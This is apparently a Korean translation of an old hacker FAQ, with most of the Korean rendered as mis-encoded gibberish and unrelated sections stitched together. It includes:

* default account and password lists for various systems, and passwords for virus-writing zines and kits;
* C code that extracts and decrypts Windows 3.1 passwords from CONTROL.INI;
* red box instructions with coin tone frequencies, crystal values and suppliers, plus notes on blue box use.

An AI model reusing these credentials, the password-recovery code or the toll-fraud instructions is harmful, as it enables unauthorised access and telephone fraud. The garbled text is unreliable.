ÀÌ°ÍÀÌ Àß µÇ¸é , "acs lb0:/blks=1000"¸¦ Ãļ ´ÙÀ½ ÀÛ¾÷ÀÌ Á¤ÁöµÇÁö ¾Êµµ·Ï ¾à°£ÀÇ ½º¿û(swap) °ø°£À» È®º¸ÇÑ´Ù. " run $acnt"¶ó°í Ä¡°í 7¹øÀ̳ª ±× ÀÌÇÏÀÇ ±×·ìÀÇ ¾î¶² °èÁ¤ÀÇ Æнº¿öµå¶óµµ ¹Ù²Û´Ù.
^C´Â Á¦´ë·Î ÀÛµ¿ÇÏÁö ¾ÊÀ» ¼ö ÀÖ´Ù. ^Z¿Í ESC¸¦ ½ÃµµÇØ
º»´Ù. 3°¡Áö¸¦ ÀûÀýÇÑ ¶§³ª ±×·¸Áö ¾ÊÀº ¶§ ¸ðµÎ ½ÃµµÇØ º¼ ¼öµµ ÀÖ´Ù.
¾Æ¹«°Íµµ Á¦´ë·Î µÇÁö ¾ÊÀ» °æ¿ì, Á¤Áö ½ºÀ§Ä¡·Î ÀûÀýÇÏÁö ¾ÊÀº ³¯Â¥-½Ã°£
µÚ¿¡ ½Ã½ºÅÛÀ» Á¤Ä¡ÇÑ´Ù. »ç¿ëÀÚ ¸ðµå PSW 1[4-7]xxxx. ¸¦ ã°í R6¿¡
177777¸¦ ³Ö´Â´Ù. ±âµµ¸¦ µå¸°´ÙÀ½ µð½ºÅ©¸¦ ¾²±â ¹æÁöÇÏ°í ´Ù½Ã ½Ã½ºÅÛÀ»
½Ãµ¿ÇÑ´Ù. ÀÌ·¸°Ô ÇÏ¸é ¾Æ¸¶µµ °£Á¢ÀûÀ¸·Î ½Ã½ºÅÛÀ» ÅͶ߸± °ÍÀÌ´Ù.
¾Æ¸¶µµ ½Ã½ºÅÛÀÌ ¿Ïº®ÇÏ°Ô º¸È£µÇÁö ¾Ê¾ÒÀ» °ÍÀÌ´Ù.
SGI Irix
~~~~~~~~
4DGifts <no password>
guest <no password>
demos <no password>
lp <no password>
nuucp <no password>
tour <no password>
tutor <no password>
System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field
Taco Bell
~~~~~~~~~
rgm rollout
tacobell <null>
Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816
VMS
~~~
field service
systest utep
XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831
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ÀÌ FAQ´Â Theora°¡ ÀÛ¼ºÇÑ °ÍÀÌ´Ù.
Æ®·ÎÀÌ ¸ñ¸¶ :
Æ®·ÎÀÌ ¸ñ¸¶¸¦ ±â¾ïÇϴ°¡? µµ½Ã¿¡ ¾Çµ¶ÇÑ ÁþÀ» Çϱâ
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ÀÌ¿Í ºñ½ÁÇÏ´Ù. Çã°¡µÈ ÇÁ·Î±×·¥ ¼Ó¿¡¼ Çã°¡µÇÁö ¾ÊÀº ±â´ÉÀ» ¼öÇàÇÏ´Â
°ÍÀÌ ¹Ù·Î ÀÌ ÇÁ·Î±×·¥ÀÌ´Ù. ÀÌ°ÍÀº ÀÚ½ÅÀÌ ÇؾßÇÒ °ÍÀÌ ¾Æ´Ñ ´Ù¸¥
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°ÍÀÌ ¾Æ´Ï¶ó¸é, ¹ö±×¶ó°í ºÒ·¯¾ß ÇÏ°í, ¶§¶§·Î Ư¡À̶ó°í ºÎ¸¦¼öµµ
ÀÖ´Ù. ¸î¸î ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥(scanner)¿¡¼ Æ®¸®ÀÌ ¸ñ¸¶ ÇÁ·Î±×·¥À»
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¾ø´Ù. ¾î¶² ¹ÙÀÌ·¯½º ½ºÄ³³Êµµ ¸ðµç Æ®·ÎÀÌ ¸ñ¸¶ ÇÁ·Î±×·¥À» ´Ù °ËÃâÇÒ
¼ö ¾ø´Ù.
¹ÙÀÌ·¯½º:
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´Ù¸¥ ÇÁ·Î±×·¥¿¡ ±â»ýÇÒ ¼ö ÀÖ°í, ÀÚ½ÅÀÇ º¹»ç¸¦ ¸¸µé ¼ö ÀÖ´Ù.(¸¶Ä¡
±â»ý ¹ÙÀÌ·¯½º¿¡¼¿Í °°ÀÌ) ¹ÙÀÌ·¯½º´Â µ¥ÀÌÅ͸¦ ¸ÁÄ¡°Å³ª ¿À¿°½Ãų
¼ö ÀÖ´Ù. ±×¸®°í µ¥ÀÌÅ͸¦ º¯°æÇϰųª, ¸Þ¸ð¸®³ª µð½ºÅ© °ø°£À» ÀÌ¿ëÇÔÀ¸·Î¼
½Ã½ºÅÛÀÇ ¼º´ÉÀ» ÀúÇϽÃų ¼ö ÀÖ´Ù. ¾î¶² ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥Àº
¹ÙÀÌ·¯½º¸¦ °ËÃâÇÑ ´Ù. ¾î¶² ¹ÙÀÌ·¯½º °ËÃâ ÇÁ·Î±×·¥µµ ¸ðµç ¹ÙÀÌ·¯½º¸¦
°ËÃâÇÒ ¼ö´Â ¾ø´Ù. ¾î¶² ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥µµ ¸ðµç ȤÀº ÀϺÎ,
¾Ë·ÁÁö°Å³ª ȤÀº ¾Ë·ÁÁöÁö ¾Ê°Å³ª, ÇöÀç ¶Ç´Â ¹Ì·¡ÀÇ ¹ÙÀÌ·¯½º·ÎºÎÅÍ
º¸È£ÇÒ ¼ö ¾ø´Ù.
¿ú:
Robert Morris Jr.¿¡ ÀÇÇؼ À¯¸íÇÏ°Ô µÇ¾ú´Ù. ¿úÀº
ÀÚ½ÅÀ» Áõ½ÄÇÑ´Ù. ½Ã½ºÅÛ¿¡¼ ½Ã½ºÅÛÀ¸·Î Áõ½ÄÇÏ°í ¶§¶§·Î ½Ã½ºÅÛÀÇ
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¿ú¿¡ ´ëÇÑ ´ëÃ¥Àº ÆÄÀÏÀ̳ª ³×Æ®¿öÅ©¸¦ °¡ÁöÁö ¾Ê´Â °ÍÀ̶ó°í ÇÑ´Ù.
¾Æ¸¶ ¸ÂÀ» °ÍÀÌ´Ù. ¾Æ¸¶ ÄÄÇ»Å͵µ ÀÌ ¸ñ·Ï¿¡ Æ÷ÇÔÇØ¾ß ÇÒ °Í °°´Ù.
³í¸® Æøź:
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¿¹¸¦ µé¾î, 12¿ù 5ÀÏ¿¡ ¸ðµç ÆÄÀÏÀ» Áö¿ö¹ö¸®´Â ³í¸®ÆøźÀÌ ÀÖÀ» ¼ö
ÀÖ´Ù. ¹ÙÀÌ·¯½º¿Í ´Þ¸® ³í¸®ÆøźÀº ÀÚ½ÅÀ» º¹Á¦ÇÒ ¼ö ¾ø´Ù.
¹ÙÀÌ·¯½º °°Àº °ÍÀ¸·ÎºÎÅÍ ³ª ÀÚ½ÅÀ» ¾î¶»°Ô º¸È£ÇÒ
°ÍÀΰ¡?
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°¡Àå ÈçÇÑ ¹ÙÀÌ·¯½º´Â ºÎÆ® ¼½Å͸¦ °¨¿°ÇÏ´Â °ÍÀÌ´Ù.
ÀÌ·¯ÇÑ ÇüÅÂÀÇ ¹ÙÀÌ·¯½º·ÎºÎÅÍ ÀÚ½ÅÀ» º¸È£Çϱâ À§Çؼ´Â ±â·ÏÀ» ÇÒ
ÇÊ¿ä°¡ ¾ø´Â µð½ºÅ©´Â ÀüºÎ ±â·Ï¹æÁöÇÏ´Â °ÍÀÌ´Ù. È®½ÇÈ÷ ±â·Ï¹æÁöµÈ
ºÎÆà µð½ºÄÏÀ» º¸°üÇÏ°í ÀÖ¾î¾ß ÇÑ´Ù. ¹ÙÀÌ·¯½º°¡ ³ªÅ¸³ª¸é ÀÏÀ» ¸Å¿ì
½±°Ô ÇÒ °ÍÀÌ´Ù.
ÁÁÀº ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥À¸·Î »õ·Î¿î ÆÄÀϵéÀ» Á¶»çÇØ¾ß ÇÑ´Ù. ÁÁÀº °Íµé·Î F-Prot, Dr.
Solomon's Anti-Virus Toolkit, ±×¸®°í Thunderbyte
Anti-Virus°¡ ÀÖ´Ù. AVP ¶ÇÇÑ ÁÁÀº ÇÁ·Î±×·¥ÀÌ´Ù. ÇÑ °¡Áö ÀÌ»óÀÇ
°Ë»ö ÇÁ·Î±×·¥À» °¡Áö°í ÀÖ´Â °ÍÀÌ ÁÁ´Ù. À̹ø ´Þ¿¡ ÇÑ µÎ »ç¶÷ÀÌ
ºü¶ß¸° ¹ÙÀÌ·¯½º°¡ ÀÖÀ» ¼ö ÀÖÀ¸´Ï±î.
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4°³´Â Çö Ãß¼¼¸¦ ÁÀ¾Æ°¡°í ÀÖ´Â ÁÁÀº °ÍµéÀÌ´Ù. ÁÁÀº ¹ÙÀÌ·¯½º °Ë»ö
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ÇÑ´Ù. ¹ÙÀÌ·¯½º°¡ »ý±â¸é ³î¶óÁö ¸¶¶ó. Àß ¸ð¸£¸é ȸ»ç ³»ÀÇ Áö¿øºÎ¼¸¦
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VLAD Magazine Issue #1 vlad
VLAD Magazine Issue #2 vx
VLAD Magazine Issue #3 virus
NuKE InfoJournal Issue #2 514738
NuKE InfoJournal Issue #3 power
NuKE InfoJournal Issue #4 party
Program
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Sphere Hacker 1.40 & 1.41 theozone
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Virus Construction Lab Chiba City
Ejecutor Virus Creator EJECUTOR
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static º¯¼ö¸¦ global·Î ¸¸µé¼öµµ ÀÖÀ¸³ª, ¿ª½Ã Çã¿ëÇÒ ¼ö ¾ø´Â °ÍÀÌ´Ù.
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¿À·§µ¿¾È UNIX ÀÀ¿ëÇÁ·Î±×·¥Àº ÁöÀúºÐÇÑ ¼Ò½º ÄÚµå ÇüÅ·Î
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MS-WindowsÀÇ Æнº¿öµå ¾ÏÈ£´Â ¾î¶»°Ô µ¿ÀÛÇϳª?
ÀÌ FAQ´Â Wayne Hoxie<[email protected]>¿¡ ÀÇÇؼ
ÀÛ¼ºµÇ¾ú´Ù.
MS Win 3.1¿¡¼ Æнº¿öµå ¿É¼ÇÀº ½±°Ô ¿ìȸÇÒ ¼ö ÀÖ´Ù.
±×·¯³ª, À©µµ¿ì¿¡¼ ¾î¶»°Ô Æнº¿öµå¸¦ ó¸®ÇÏ´ÂÁö ±Ã±ÝÇØ ÇÏ´Â »ç¶÷µéÀÌ
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UNIXÀÇ root Æнº¿öµå¿Í À©µµ¿ìÀÇ Æнº¿öµå¸¦ µ¿ÀÏÇÏ°Ô »ç¿ëÇÏ°í ÀÖ´Ù°í
»ý°¢ÇØ º¸¶ó.
¾î·´ø, ¾Ë°Ô µÈ ¾Ë°í¸®ÁòÀ» Àü´ÞÇÏ°Ú´Ù.
Æнº¿öµå¸¦ Ä¡°í [OK] ¹öÆ°À» ´©¸£°í ³ ´ÙÀ½ÀÇ °úÁ¤ºÎÅÍ
¼³¸íÀ» ÇÑ´Ù.
¸ðµç »ç¶÷ÀÌ(Àû¾îµµ Èï¹Ì¸¦ °¡Áö°í ÀÖ´Â) XOR ¿¬»êÀÌ
¹«¾ùÀÎÁö ¾Ë°í ÀÖ´Ù°í °¡Á¤ÇÑ´Ù.
¸ÕÀú, Æнº¿öµåÀÇ ±æÀÌ°¡ ÀúÀåµÈ´Ù. ÀÌ°ÍÀ» 'len'À̶ó°í ºÎ¸£°Ú´Ù. ÀÔ·ÂµÈ ¹®ÀÚ¿À» ¾ÏÈ£ÈÇÏ¿© ´Ù¸¥ ¹®ÀÚ¿·Î ¹Ù²Û´Ù. ¸ÕÀú ÀÔ·ÂµÈ ¹®ÀÚ¿À» 'plain text(Æò¹®)'À̶ó°í ºÎ¸£°Ú´Ù. ±×¸®°í ¾ÏÈ£ÈµÈ ¹®ÀÚ¿(µÎ¹øÀÇ °úÁ¤À» °ÅÄ¡´Âµ¥)À» 'hash1', 'hash2'¶ó°í ºÎ¸£°Ú´Ù. Æò¹®ÀÇ À§Ä¡´Â ÀÌ °úÁ¤¿¡¼ Áß¿äÇѵ¥ ÀÌ°ÍÀ» 'pos'¶ó°í ºÎ¸£ÀÚ. Çؽ³ °úÁ¤ÀÇ °¢ ´Ü°è¸¦ °ÅÄ¡°í³ª¼, ¹®ÀÚ´Â À©µµ¿ì°¡ Ưº°ÇÏ°Ô'special' »ý°¢ÇÏ´Â ¹®ÀÚ¿°ú ºñ±³µÈ´Ù. ÀÌ ¹®ÀÚµéÀº '[ ] ='¿Í ASCII 33 ÀÌÇϳª ASCII 126 ÀÌ»óÀÇ ¹®ÀÚÀÌ´Ù. ÀÌ °Ë»ç ¿¬»êÀ» 'is_ok'¶ó°í ºÎ¸£°Ú´Ù. ¸ðµç ÀÎÅؽº´Â 0À» ±âÁØÀ¸·Î ÇÑ´Ù.(´Ù½Ã ¸»ÇØ 8°³ÀÇ ¹®ÀÚ Æнº¿öµå´Â 0ºÎÅÍ 7±îÁöÀÌ´Ù.)
ÀÌÁ¦, 'Æò¹®'ÀÇ Ã¹ ¹ø° ¹®ÀÚ´Â 'len'°ú xorµÇ¾î 'is_ok'·Î µé¾î°£´Ù. Á¤´çÇÑ ¹®ÀÚ°¡ ¾Æ´Ñ °æ¿ì, ¿ø·¡ÀÇ 'Æò¹®'ÀÇ ¹®ÀÚ·Î ´ëÄ¡µÇ¾î ´ÙÀ½ ¿¬»êÀ¸·Î ÁøÇàÇÑ´Ù. ´ÙÀ½ ¿¬»ê¿¡¼ 'pos'¿Í xor ¿¬»êÀ» ÇÑ´Ù.(ÀÌ°ÍÀº ù ¹ø° ¿¬»ê¿¡¼´Â ¼Ò¿ë¾ø´Â °ÍÀÌ´Ù ¿Ö³ÄÇϸé 'len'ÀÌ 0ÀÌ°í 0°ú xorµÈ °ÍÀº ±× ÀÚ½ÅÀÌ µÇ±â ¶§¹®ÀÌ´Ù.) ±×¸®°í 'is_ok'·Î º¸³»°í ¿Ã¹Ù¸¥ °ÍÀÌ ¾Æ´Ò °æ¿ì ¿ø·¡ÀÇ °ÍÀ¸·Î ´ëÄ¡ÇÑ´Ù. (¹®ÀÚ ´ç) ¸¶Áö¸· ¿¬»êÀº xor¸¦ ¾ÕÀÇ 'Æò¹®'ÀÇ ¹®ÀÚ¿Í xorÇÏ´Â °ÍÀÌ´Ù. ÀÌÀü ¹®ÀÚ°¡ ¾øÀ¸¹Ç·Î, °íÁ¤µÈ °ª 42¸¦ 'Æò¹®'ÀÇ Ã¹ ¹ø° ¹®ÀÚ¿¡ ´ëÇØ »ç¿ëÇÑ´Ù. ÀÌ°ÍÀº 'is_ok'·Î º¸³»Áö°í ¸¸ÀÏ OK¶ó¸é, 'hash1'ÀÇ Ã¹ ¹ø° À§Ä¡¿¡ ÀúÀåµÈ´Ù. ÀÌ °úÁ¤Àº Æò¹®ÀÇ ¸ðµç ¹®ÀÚ¿¡ ´ëÇØ ÀüºÎ ¼öÇàÇÑ´Ù. ´ÙÀ½ Æнº(pass)´Â ¸Å¿ì À¯»çÇÏ´Ù. ½ÃÀÛÁ¡ÀÌ hash1ÀÇ ¸¶Áö¸· ¹®ÀÚÀÌ´Ù. ±×¸®°í °á°ú´Â µÚ¿¡¼ ¾ÕÀ¸·Î hash2¿¡ µé¾î°£´Ù. ¶ÇÇÑ, ¸¶Áö¸· xorÇÏ´Â ½ÃÁ¡¿¡¼ ÀÌÀü ¹®ÀÚ¸¦ ÀÌ¿ëÇÏ´Â ´ë½Å ÇöÀç ¹®ÀÚ ´ÙÀ½ÀÇ ¹®ÀÚ°¡ ÀÌ¿ëµÈ´Ù. hash1¿¡¼ ¸¶Áö¸· ´ÙÀ½¿¡ ³ª¿À´Â ¹®ÀÚ°¡ ¾øÀ¸¹Ç·Î, 42°ªÀÌ ¸¶Áö¸· ¹®ÀÚ´ë½Å¿¡ ÀÌ¿ëµÈ´Ù.
'hash2'´Â ¸¶Áö¸· ¹®ÀÚ¿ÀÌ°í À©µµ¿ì°¡ CONTROL.INI¿¡ ÀúÀåÇÏ´Â °ªÀÌ´Ù.
Æнº¿öµå¸¦ º¹È£È'decrypt'Çϱâ À§Çؼ À§ÀÇ °úÁ¤À» ´ÜÁö °Å²Ù·Î ÇÏ¸é µÈ´Ù.
ÀÌÁ¦, ±â´Ù·È´ø °ÍÀÌ ¿Ô´Ù. ¿ì¸®¸¦ À§ÇØ ¾î·Á¿î ÀÏÀ»
ÇØ ÁÙ C ÄÚµåÀÌ´Ù.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int xor1(int i,int j)
{
int x;
x=i^j;
return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
FILE *f;
int i,l;
char s[80],s1[80];
printf("Please enter the path to your Windows directory\n");
gets(s1);
sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
if((f=fopen(s,"rt"))==NULL){
printf("File Error : %s\n",sys_errlist[errno]);
exit(0);
}
while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
fclose(f);
strtok(s1,"=\n");
strcpy(s,strtok(NULL,"\n"));
i=strlen(s)-1;
for(l=i;l>-1;l--)
s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
for(l=0;l<i+1;l++)
s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
printf("The Password is: %s\n",s);
}
Àû»ö ±â°è(Red Box)¶õ ¹«¾ùÀΰ¡?
°øÁßÀüÈ¿¡ µ¿ÀüÀ» ³ÖÀ¸¸é °øÁßÀüÈ´Â ACTS(Automated Coin Toll System)¿¡ ½ÅÈ£À½ÀÇ ÁýÇÕÀ» º¸³½´Ù. Àû»ö »óÀÚ´Â ACTS°¡ µ¿ÀüÀ» ³Ö¾ú´Ù°í ¹Ï°Ô ¼ÓÀδÙ. Àû»ý »óÀÚ´Â TCTS ½ÅÈ£À½À» ¤±³ªµé¾î ÀüÈ ¼Ûȱ⿡ º¸³½´Ù. ACTS´Â ÀÌ·¯ÇÑ ½ÅÈ£À½À» µè°í Àüȸ¦ ÇÒ ¼ö ÀÖ°Ô Çã¿ëÇÑ´Ù. ½ÇÁ¦ ½ÅÈ£À½Àº ´ÙÀ½°ú °°´Ù.
Nickel Signal 1700+2200hz 0.060s on
Dime Signal 1700+2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal 1700+2200hz 33ms on, 33ms off, 5 times
repeating
Ä«³ª´Ù´Â ACTSDÀÇ º¯ÇüÀÎ N-ACTS¸¦ ÀÌ¿ëÇÑ´Ù. N-ACTS ´Â ACTS¿Í´Â ´Ù¸¥ À½À» »ç¿ëÇÑ´Ù. Ä«³ª´Ù¿¡¼ ½ÅÈ£À½Àº ´ÙÀ½°ú °°´Ù.
tones than ACTS. In Canada, the tones to use are:
Nickel Signal 2200hz 0.060s on
Dime Signal 2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal 2200hz 33ms on, 33ms off, 5 times
repeating
Àû»ö »óÀÚ´Â Radio Shack tone dialer, Hallmark greeting cards, ¶Ç´Â ½±°Ô ±¸ÇÒ ¼ö ÀÖ´Â ÀüÀÚºÎ
Ç°À» °¡Áö°í óÀ½ºÎÅÍ ¸¸µé ¼ö ÀÖ´Ù.
Àû»ö »óÀÚ¸¦ Shack 43-141¶Ç´Â 43-146 Åæ ´ÙÀ̾󷯷κÎÅÍ
¸¸µé·Á°í ÇÑ´Ù¸é ´ÙÀ̾󷯸¦ ¿°í crystalÀ» »õ °ÍÀ¸·Î ±³Ã¼ÇÑ´Ù.
»õ °ÍÀ¸·Î ±³Ã¼ÇÏ´Â ¸ñÀûÀº * ¹öÆ°ÀÌ 941Mhz¿Í 1209Mhz ´ë»ê1700Mhz¿Í
2200MhzÀÇ ½ÅÈ£À½(tone)À» ³»µµ·Ï Çϱâ À§ÇؼÀÌ´Ù. ±³Ã¼ÇØ¾ß ÇÒ ¼öÁ¤Áøµ¿ÀÚÀÇ
°ªÀº 6.466806À» ÀÌ¿ëÇÏ¿© ¿Ïº®ÇÑ 1700MhzÀÇ ½ÅÈ£À½À» 6.513698À»
ÀÌ¿ëÇÏ¿© ¿Ïº®ÇÑ 2200MhzÀÇ À½À» »ý¼ºÇÒ ¼ö ÀÖ´Ù. ÀÌ °ª¿¡ ±Ù»çÇÑ
¼öÁ¤Áøµ¿ÀÚ´Â ACTSÀÇ ¿ÀÂ÷Çã¿ëÄ¡ ³»¿¡ µé¾î¿À´Â ½ÅÈ£À½À» »ý¼ºÇÒ °ÍÀÌ´Ù.
°¡Àå ÀαâÁÁÀº °ÍÀº 6.5536MhzÀÇ ¼öÁ¤Áøµ¿ÀÚÀÌ´Ù. ¿Ö³ÄÇϸé ÀÌ°ÍÀÌ
ȹµæÇϱ⠰¡Àå ½¬¿î Á¾·ùÀ̱⠶§¹®ÀÌ´Ù. ¿À·¡µÈ ¼öÁ¤Áøµ¿ÀÚ´Â Å©°í
ºû³ª´Â ±Ý¼Ó ºÎÇ°À¸·Î "3.579545Mhz"¶ó°í ÂïÇôÀÖ´Ù. ¼öÁ¤Áøµ¿ÀÚÀÇ
±³Ã¼°¡ ³¡³ª¸é, ´Ù¼¸ °³ÀÇ *¿Í ÇÔ²² P1 ¹öÆ°À» ÇÁ·Î±×·¥ÇÑ´Ù. ÀÌ°ÍÀº
P1À» ´©¸¦ ¶§¸¶´Ù 25¼¾Æ®µ¿ÀüÀÇ ½ÅÈ£À½À» Èä³»³½´Ù.
6.5536MhzÀÇ ¼öÁ¤Áøµ¿ÀÚ´Â ¾îµð¼ ±¸Çϳª?
ÀüÀÚºÎÇ° »óÁ¢¿¡¼ ±¸ÇÒ ¼ö ÀÖ´Ù. Radio Shack¿¡¼ ÆǸÅÇÏ°í ÀÖ´Ù. ±×·¯³ª, ºñ½Î°í °¡°Ô¿¡¼µµ ÁÖ¹®À» ÇØ¾ß ÇÑ´Ù. 2ÁÖ Á¤µµ°¡ °É¸°´Ù. ´õ¿íÀÌ ¸¹Àº Radio Shack Á¡¿øµéÀº ÀÌ·¸°Ô ÇÒ ¼ö ÀÖ´Ù´Â °Íµµ ¸ð¸¥´Ù. ¶Ç´Â ¼öÁ¤Áøµ¿ÀÚ¸¦ ¿ìÆíÀ¸·Î ÁÖ¹®ÇÒ ¼ö ÀÖ´Ù. ¿©±â¿¡´Â ¼öÁ¤Áøµ¿ÀÚº¸´Ù ÈξÀ ºñ½Ñ ¿î¼Ûºñ¸¦ Æ÷ÇÔÇÏ°Ô µÈ´Ù. µû¶ó¼ ¿©·¯¸íÀÌ ÇÔ²² ÁÖ¹®Çؼ ¿î¼Ûºñ¸¦ ÁÙÀÌ´Â °ÍÀÌ °¡Àå ÁÁ´Ù. ¾Æ´Ï¸é ´ë¿©¼¸°³¸¦ ÇѲ¨¹ø¿¡ »ê ´ÙÀ½ ´Ù¸¥ »ç¶÷¿¡ ÆȾƵµ µÈ´Ù. ÁÖ¹®Çؼ »ì ¼ö ÀÖ´Â °÷Àº ´ÙÀ½°ú °°´Ù.
Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(800)344-4539
Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND
JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800)538-5000
Part Number: 6.5536MHZ
Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
(800)241-8742
Part Number: 10068625
Alltronics
2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057
Mouser
(800)346-6873
Part Number: 332-1066
Blue Saguaro
P.O. Box 37061
Tucson, AZ 85740
Part Number: 1458b
Unicorn Electronics
10000 Canoga Ave, Unit c-2
Chatsworth, CA 91311
Phone: 1-800-824-3432
Part Number: CR6.5
Àû»ö ±â°è°¡ µ¿ÀÛÇÏ´Â °øÁßÀüÈ´Â ¾î¶² °ÍÀΰ¡?
Àû»ö »óÀÚ´Â teco¿¡¼ ¸¸µç °øÁßÀüÈ¿¡¼ ÀÛµ¿ÇÑ´Ù. COCOT(Customer Owned Coin Operated
Telephone)¿¡¼´Â ÀÛµ¿ÇÏÁö ¾Ê´Â´Ù.
Àû»ö »óÀÚ´Â ACTS¸¦ ¼Ó¿©¼ µ¿ÀûÀÎ °øÁßÀüÈ¿¡ ³ÖÀº
°ÍÀ¸·Î »ý°¢ÇÏ°Ô ÇÑ´Ù. ACTS´Â "XX¼¾Æ®À» ³Ö¾îÁÖ¼¼¿ä"¶ó°í
¹ßÇÏ´Â ÀüÈȸ»çÀÇ ¼ÒÇÁÆ®¿þ¾î·Î µ¿ÀüÀ» ³Ö´Â ¼Ò¸®¸¦ È®ÀÎÇÑ´Ù.
Àû»ö ±â°è·Î ¾î¶»°Ô ½Ã³» Àüȸ¦ ÇÒ ¼ö ÀÖ³ª?
°øÁßÀüÈ´Â ½Ã³»ÀüÈ¿¡¼ ACTS¸¦ ÀÌ¿ëÇÏÁö ¾Ê´Â´Ù. Àû»ö »óÀÚ¸¦ ½Ã³» ÀüÈ¿¡ ÀÌ¿ëÇϱâ À§Çؼ ACTS¸¦ ¼Ó¿©¼ ÀüÈ¿¡ ²ø¾îµé¿©¾ß ÇÑ´Ù. ÇÑ°¡Áö ¹æ¹ýÀ¸·Î ¾î¶² Áø¿ª¿¡¼´Â 10288-xxx-xxxx¸¦ °É¸éµÈ´Ù. ÀÌ·¸°ÔÇϸé Åëȸ¦ Àå°Å¸® ÀüÈ·Î ÇÏ°í ACTS¸¦ ²ø¾îµéÀÌ°Ô µÈ´Ù.
´Ù¸¥ Áö¿ª¿¡¼´Â Directory Assistance¸¦ ºÎ¸£°í ÀüÈÇÏ·Á´Â
»ç¶÷ÀÇ ¹øÈ£¸¦ ¹¯´Â´Ù. ±³È¯¿øÀº ÀüȹøÈ£¸¦ °¡¸£ÃÄÁÖ°í "Your
call can be completed automatically for an additional 35 cents"¶ó´Â
¸»°ú À¯»çÇÑ °ÍÀ» µè°Ô µÈ´Ù. ÀÌ·¸°Ô µÇ¸é, ACTS ÅæÀ» ÀÌ¿ëÇÒ ¼ö ÀÖ°Ô
µÈ´Ù.
û»ö ±â°è(Blue Box)¶õ ¹«¾ùÀΰ¡?
û»ö ±â°è´Â 2600HzÀÇ À½À» ÀÌ¿ëÇÏ¿© in-band signalingÀ»
ÀÌ¿ëÇÏ´Â ÀüÈ ±³È¯±âÀÇ Á¦¾î¸¦ Àâ´Â´Ù. Àüȸ¦ °Ç »ç¶÷Àº Ưº°ÇÑ
±³È¯ ±â´É¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Ù. û»ö »óÀÚ¿¡¼ Á¦°øÇÏ´Â À½À» ÀÌ¿ëÇÏ¿©
´ë°³ Àå°Å¸® Àüȸ¦ °Å´Â ¸ñÀûÀ¸·Î ÁÖ·Î ÀÌ¿ëµÈ´Ù.
û»ö ±â°è´Â ¾ÆÁ÷ »ç¿ëÇÒ ¼ö ÀÖ³ª?
LODÀÇ Marauder¿¡ ÀÇÇØ ÀÛ¼ºµÇ¾î Usenet¿¡ Æ÷½ºÆà µÈ
°ÍÀ» ½ÇÀº FAQÀÌ´Ù.
"ESS ¶§¹®¿¡ ´õ ÀÌ»ó û»ö ¹Ú½º¸¦ »ç¿ëÇÒ ¼ö ¾ø´Ù"¿Í °°Àº Àο빮À» ¾îµð¼±°¡ º» °Í °°´Ù. ÀÌ°ÍÀº ±×¸©µÈ »ý°¢ÀÌ´Ù. ³»°¡ ÄÚ³×ƼÄÆ¿¡ »ì°í ÀÖ¾úÀ» ¶§, Step by Step, #1AESS, ±×¸®°í DMS-100¿¡¼ û»ý »óÀÚ¸¦ ÀÌ¿ëÇÒ ¼ö ÀÖ¾ú´Ù. ÀÌÀ¯´Â °£´ÜÇÏ´Ù. ³»°¡ ´Ù¸¥ ±³È¯±â(Class 5 office, aka Central Office)¿¡¼ 800¹ø ¼ºñ½º·Î Àüȸ¦ °É¾úÀ» ¶§¶óµµ 800 ÅëÈ°¡ °ú±Ý ³×Æ®¿öÅ©·Î Àý´ÞµÇ¸é ±×°ÍÀº New Haven #5 Crossbar toll Tandem Office¸¦ ÅëÇؼ °¡°Ô µÈ´Ù. Ŭ¶ó½º 5(CO)¿Í Ŭ¶ó½º 4(°ú±Ý »ç¹«½Ç, ÀÌ °æ¿ì¿¡´Â New Haven #5 Xbar) »çÀÌ Æ®··Å©¿¡¼ ½ÅÈ£¸¦ º¸³¾ ¶§ ÀϾÙ. ±×·¡¼ ¾î¶² ¹øÈ£·Î °Éµç, ±×°ÍÀÌ Inter-Lata ÅëÈÀ» °æ¿ì, ÀÚ½ÅÀÇ ÅëÈ(call)Àº ÀÌ Æ¯Á¤ Æ®··Å© ÁýÇÕÀ» Åë°úÇÏ°Ô µÈ´Ù. ±×¸®°í û»ö »óÀÚ¸¦ ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. ¹ß½Å Áß¾Ó »ç¹«½Ç ±³È¯±â(SXS/ESS µî)Àº ¹Ú½º¸¦ ÀÌ¿ëÇϴµ¥ º° ¿µÇâÀ» ¹ÌÄ¡Áö ¾Ê´Â´Ù. ESS(¿Í ´Ù¸¥ ÀüÀÚ ±³È¯±â)ÀÇ ÃâÇöÀÌ Ã»»ö »óÀÚ¸¦ ÀÌ¿ëÇÏ´Â °ÍÀÌ Á» ´õ ¾î·Æ°Ô ¸¸µé¾úÁö¸¸, ESS´Â û»ö»óÀÚ¸¦ »ç¿ëÇÒ ¼ö ¾ø´Â ÀÌÀ¯´Â ¸øµÈ´Ù.
